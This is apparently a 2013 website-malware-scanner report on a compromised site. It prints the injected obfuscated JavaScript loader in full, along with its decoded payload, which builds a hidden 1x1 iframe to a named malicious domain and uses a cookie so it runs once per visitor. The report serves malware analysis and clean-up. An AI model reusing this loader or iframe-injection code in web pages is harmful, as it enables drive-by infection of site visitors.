Website infected with malicious obfuscated JavaScript that injects hidden iframe to blacklisted malicious domain
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.
This compromised website has suspicious JavaScript code injected in 9 files. Malware was found on this website's pages by Google Safe Browsing including 17 exploits.
This compromised website has suspicious JavaScript code injected in 9 files. Malware was found on this website's pages by Google Safe Browsing including 17 exploits.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Mon Aug 12 09:07:59 2013
Infected website's files: 9
Threat dump:
Malware entry details
Beautified script
- aq = "0x";
- ff = String;
- fff = "fromCh" + "a" + "rCode";
- ff = ff[fff];
- zz = 3;
- try {
- document.body ^= ~1;
- } catch (z1z1) {
- v = 123;
- vzs = 0;
- try {
- document;
- } catch (q) {
- vzs = 1;
- }
- if (!vzs) e = eval;
- if (1) {
- f ="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,5b,6a,6c,65,66,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,6f,6f,6f,26,5c,6a,61,6e,5d,65,67,6c,61,67,66,26,68,64,27,5c,59,6c,59,27,6a,5d,64,26,68,60,68,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,5b,6a,6c,65,66,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,5b,6a,6c,65,66,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,5b,6a,6c,65,66,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,5b,6a,6c,65,66,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,5b,6a,6c,65,66,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75"["split"](",");
- }
- w = f;
- s = [];
- if (window.document)
- for (i = 2 - 2; - i + 1405 != 0; i += 1) {
- j = i;
- if ((031 == 0x19))
- if (e) s = s + ff(e(aq + (w[j])) + 8);
- }
- xz = e;
- if (window.document) xz(s)
- }
Malicious payload
Decoded payload injects hidden malicious iframe to http://www.drivemotion.pl/data/rel.php
- function zzzfff() {
- var crtmn = document.createElement('iframe');
- crtmn.src = 'http://www.drivemotion.pl/data/rel.php';
- crtmn.style.position = 'absolute';
- crtmn.style.border = '0';
- crtmn.style.height = '1px';
- crtmn.style.width = '1px';
- crtmn.style.left = '1px';
- crtmn.style.top = '1px';
- if (!document.getElementById('crtmn')) {
- document.write('<div id=\'crtmn\'></div>');
- document.getElementById('crtmn').appendChild(crtmn);
- }
- }
- function SetCookie(cookieName, cookieValue, nDays, path) {
- var today = new Date();
- var expire = new Date();
- if (nDays == null || nDays == 0) nDays = 1;
- expire.setTime(today.getTime() + 3600000 * 24 * nDays);
- document.cookie = cookieName + "=" + escape(cookieValue)
- + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
- }
- function GetCookie(name) {
- var start = document.cookie.indexOf(name + "=");
- var len = start + name.length + 1;
- if ((!start) &&
- (name != document.cookie.substring(0, name.length)))
- {
- return null;
- }
- if (start == -1) return null;
- var end = document.cookie.indexOf(";", len);
- if (end == -1) end = document.cookie.length;
- return unescape(document.cookie.substring(len, end));
- }
- if (navigator.cookieEnabled)
- {
- if (GetCookie('visited_uq') == 55) {} else {
- SetCookie('visited_uq', '55', '1', '/');
- zzzfff();
- }
- }
Similar payloads analysis can be found here.
Blacklisting status
Website is Blacklisted by Google Safe Browsing
|
Redirect domain is Blacklisted by Google Safe Browsing. It was functioning as intermediate to infect 14 other websites.
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
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